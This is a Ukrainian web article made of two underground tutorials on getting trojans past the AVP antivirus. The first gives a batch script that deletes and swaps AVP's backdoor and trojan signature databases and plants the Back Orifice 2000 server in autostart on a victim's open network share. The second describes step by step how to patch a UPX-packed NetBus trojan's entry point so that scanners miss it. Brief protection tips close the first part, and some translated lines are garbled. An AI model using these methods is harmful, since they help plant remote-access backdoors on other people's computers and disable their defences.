Як обійти AVP, Віруси, Security & Hack, статті

Underground InformatioN Center

Мета даної статті – показати спосіб злому вашого комп’ютера. Автор не несе ніякої
відповідальності за шкоду, яка може бути наслідком прочитання цього повідомлення.

Даний метод працює тільки на Windows 9x російських версіях (для англійських версій необхідно
підправити каталог автозапуску), а також при інсталяції Antiviral Toolkit Pro в
c: \ program files \ antiviral toolkit pro \ (за замовчуванням).

Розглянемо наступну ситуацію: є хост, що має загальний ресурс С з повним доступом,
встановленим Antiviral Toolkit Pro. Як покласти на нього backdoor? Для цього треба
заархівувати з паролем (BackdooR) сервер бакдора (будемо використовувати Back Oriffice 2000).
Пароль використовується для того, щоб AVP сканер не зміг виявити сервер бакдора:

>PKZIP.EXE -a -sBackooR asyslg.dll BO2K.EXE

Тепер AVP не зможе побачити сигнатури BO2k в ASYSLG.DLL (якщо встановлена ​​опція перевірки
архівів).

Потім необхідно забезпечити запуск сервера і знешкодити AVP. Для цього напишемо BAT-файл:

@echo off
attrib -R c:\progra~1\antivi~1\backdoor.avc >nul
attrib -R c:\progra~1\antivi~1\trojan.avc >nul
del c:\progra~1\antivi~1\backdoor.avc >nul
del c:\progra~1\antivi~1\trojan.avc >nul
copy c:\progra~1\antivi~1\macro.avc c:\progra~1\antivi~1\backdoor.avc >nul
copy c:\progra~1\antivi~1\mail.avc c:\progra~1\antivi~1\trojan.avc >nul
c:\windows\pkunzip.exe -e -sBackdooR c:\windows\ASYSLG.DLL
C: \ Windows \ Головна ~ 1 \ Прогр ~ 1 \ АВТОЗА ~ 1 \> nul
del c:\windows\pkunzip.exe >nul
del c:\windows\asyslg.dll >nul
del c:\winstart.bat >nul
echo on

Розшифровка порядково:

відключення виведення на екран виконуваних команд
зняття атрибута READONLY з файлу backdoor.avc (база сигнатур для бакдоров)
зняття атрибута READONLY з файлу tojan.avc (база сигнатур для троянів)
видалення файлу backdoor.avc
видалення файлу tojan.avc
підміна бази (для того, щоб при запуску сканера AVP не лаявся)
підміна бази (відсутність бази)
розархівування бакдора і приміщення його автозавантаження
видалення PKUNZIP
видалення архіву з бакдором
видалення файли запуску

Чому це буде працювати? Тому що при старті Windows якщо в головному каталозі
знаходиться файл WINSTART.BAT він запускається на виконання. При цьому користувач
не побачить жодного повідомлення. Потім необхідно скопіювати на віддалений комп’ютер
наступні файли:

ASYSLG.DLL в директорію c: \ windows \
PKUNZIP.EXE в директорію c: \ windows \
WINSTART.BAT в директорію c: \

Разом необхідно буде закачати 86.508 байт.

Все. Після перезавантаження на комп’ютері з автозавантаження запуститься сервер, видалить
себе звідти й запише себе в c: \ windows \ system \ (сервер повинен бути налаштований
на видалення оригінального файлу). В принципі, можна використовувати архіватор CAB,
і проводити розпакування програмою EXTRACT.EXE, яка присутні на майже
всіх комп’ютерах, що дозволить зменшити розмір перекачуваних даних, проте
даний архіватор не дозволяє архівувати з паролем, що може призвести до
виявленню сервера бакдора сканером (якщо включена опція перевірки архівів).

Рекомендації щодо захисту від даного виду атаки:

  1. Закрийте всі загальні ресурси! Якщо ви без них жити не можете встановіть на них пароль (не менше 6 символів і не менше 1 спецсимволи).

  2. Поставте собі Firewall. Навіть якщо ця атака пройде успішною, отримати доступ до всієї системи не вдасться – Firewall вас відразу ж попередить про спробу проникнення. Я рекомендую Tiny Personal Firewall.

  3. При виявленні і раптової пропажі якихось файлів відразу перевіряйте свої диски антивірусом, а також проводите профілактичне сканування дисків не менше одного разу на тиждень.

  4. Своєчасно оновлюйте антивірусні бази.

ZaDNiCa
anonym01@mailru.com

Модифікуємо троян або як обійти AVP # 2

Прочитавши розповідь про обман AVP при посилці трояна на віддалений комп’ютер я
був казково втішений польотом народної думки:) Але хіба можна займатися таким
шкідництвом, як видалення баз з вірусними сигнатурами – це сакс (не
по-кулхацкерскі), до того ж кожен дурень любить постійно оновлювати бази – благо
на халяву і автоматом: (

Тепер і я хочу поділитися деяким методом. Завдання стара як світ – не займаючись
написанням свого трояна, треба зробити наявний непомітним для антивіруса. Отже,
нам знадобляться:
1) PE компресор UPX (http://upx.tsx.org)
2) Шістнадцятковий редактор Hiew (http://protools.cjb.net)
3) ProcDump32 як редактор PE (http://protools.cjb.net)
4) Мінімальні пізнання в асемблері
5) Власне троян. Я взяв старий NetBUS (вже що знайшлося)
6) Правильно встановлений девайс “руки”

Так як же антивірус шукає віруси і трояни? Якийсь час назад я поспілкувався з дуже
розумними людьми, які повідомили мені, що це “Страшна Таємниця”, і офіційної
інформації я з цього приводу не знайду. Але якщо в коротко, то антивірус, не виявивши
у файлі відомих сигнатур (послідовностей байт), застосовує “евристику” –
починає дивитися, що за команди йдуть у файлі, і намагається їх емулювати і
“Дивитися”, що ж ці команди можуть робити, оскільки не може просто запустити
файл, дочекатися, поки він сам розпакується / розшифрує в пам’ять, щоб випадково не
заразити комп, на якому запускається цей файл. Проте багато команд (наприклад,
настройку імпорту) процесора він не може проемуліровать, тому, зустрівши такі
команди, він просто забиває на подальшу перевірку, навіть не кажучи про свою
некомпетентності:)

На щастя (чи ні), все Пакера для оптимізації пишуться настільки через дупу,
що антивірус приходить в дикий захват, тобто кидає перевірку файлу, що нам і треба.
Тим не менш, у AVP є набір функцій, за допомогою яких він може визначити, чим
запакований файл, і розпакувати його за наявною схемою, що він і робить зокрема
для UPX, і виявляє трояна в запакованому файлі. Основна ідея полягає в
те, що нам треба змінити Розпакувальник таким чином, щоб антивірус не визнав
у файлі відомий йому пакер і пропустив перевірку. Отже, займемося справою.

Беремо файл patch.ex_ з архіву original.zip (Я його спеціально так назвав, щоб
ні в кого не було спокуси запустити його, а потім звинувачувати мене в поширенні
троянів). Я цей файл вже знизав UPX. Файл визначається AVP як Backdoor.NetBUS.170.
Якщо використовуєте інший троян, то пакуємо його за допомогою UPX. AVP все одно визначає
трояна, але каже, що файл пожата UPX. Хех, я це і так знаю … Тепер нацьковує
на потиск файл PE Editor з ProcDump32. Нам треба подивитися адресу точки входу в
файл (Entry Point) та адреса завантаження (Image Base). Маємо:

Entry Point: 00082460h
Image Base: 00400000h

Тепер відкриваємо файл в Hex редакторі Hiew. Переходимо в режим дизассемблера
(F4/Decode). Вирушаємо за адресою Entry Point + Image Base = 00482460h (у кого
погано з математикою шістнадцятковій, може скористатися стандартним мастдайскім
калькулятором – там є Hex режим). Для цього тиснемо Goto (F5) і набиваємо в якості
адреси “.482460” (точка перед адресою потрібна тому що це віртуальний адресу). Бачимо
початок Розпакувальник – щось на зразок цього:

.00482460: 60 pushad
.00482461: BE00304500 mov esi,000453000 ;” E0 “
.00482466: 8DBE00E0FAFF lea edi,[esi][0FFFAE000]
.0048246C: C787B0C405001C340F90 mov d,[edi][00005C4B0],0900F341
.00482476: 57 push edi
.00482477: 83CDFF or ebp,-001 ;” “
.0048247A: EB0E jmps .00048248A

Те, що треба. Тепер треба знайти вільне місце для патча. Перегорнути сторінки 6 вниз,
і бачимо трохи місця забитого нулями – це добрий дядько Біллі придумав вирівнювання
секцій. Ось це і потрібно було нам. Я вибрав адресу 004825CFh. Тепер підводимо курсор до
цією адресою і починаємо редагувати файл в асемблерній режимі (F3/F2). Забиває
всього дві команди: push OEP і ret (не забуваючи тиснути enter після введення кожної команди:)
Де ОЕР це Entry Point + Image Base, тобто в нашому випадку це число 00482460 – для
інших файлів відповідно буде інше. Разом забили ось що:

Push 00482460
Ret

Зберігаємо зміни (F9) і тепер файло виглядає приблизно так:

.004825A9: 8903 mov [ebx],eax
.004825AB: 83C304 add ebx,004 ;” “
.004825AE: EBE1 jmps .000482591
.004825B0: FF9698380800 call d,[esi][000083898]
.004825B6: 61 popad
.004825B7: E9B87CFDFF jmp .00045A274
.004825BC: D425 aam 025
.004825BE: 48 dec eax
.004825BF: 00E0 add al,ah
.004825C1: 254800B0D4 and eax,0D4B00048 ;”+_ H”
.004825C6: 45 inc ebp
.004825C7: 0000 add [eax],al <- Це було забито нулями
.004825C9: 0000 add [eax],al
.004825CB: 0000 add [eax],al
.004825CD: 0000 add [eax],al
.004825CF: 6860244800 push 000482460 ;” H$`” <- Це наша вставка
.004825D4: C3 retn
.004825D5: 0000 add [eax],al <- Знову нулі
.004825D7: 0000 add [eax],al

Залишився останній ривок. Знову відкриваємо файл в PE Editor’е від ProcDump32 і міняємо
точку входу на адресу нашої вставки, не забувши від віртуально адреси відняти Image Base,
тобто в Entry Point пишемо 000825CF (Offset – Image Base = 004825CF – 00400000 = 000825CF).
Хто знайомий з асемблером, той зрозуміє, що було зроблено, а хто не знає (sic!) – тому
це не потрібно:) Вся операція займає 2-3 хвилини і літр пива.

Перевірте отриманий файл (лежить в patched.zip) Антивірусом. Мій AVP (як сканер, так
і монітор) нічого не помітили, навіть не сказали що, файл потиск. Ось такий він “народний”,
“Найкращий” антивірус. До речі, Dr.Web теж відсмоктав і таке інше.

Отриманий файл чудово працює у мене на WinME, як буде він себе вести на Win2k або
НТ – Х.З. Я не перевіряв, але причин для відмови в роботі я не бачу. Якщо у когось не
вийде так зробити – миліть мені не потрібно, а треба перевстановити драйвера пристрою
“Руки”.

Dr.Golova
dr.golova@reversing.net

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*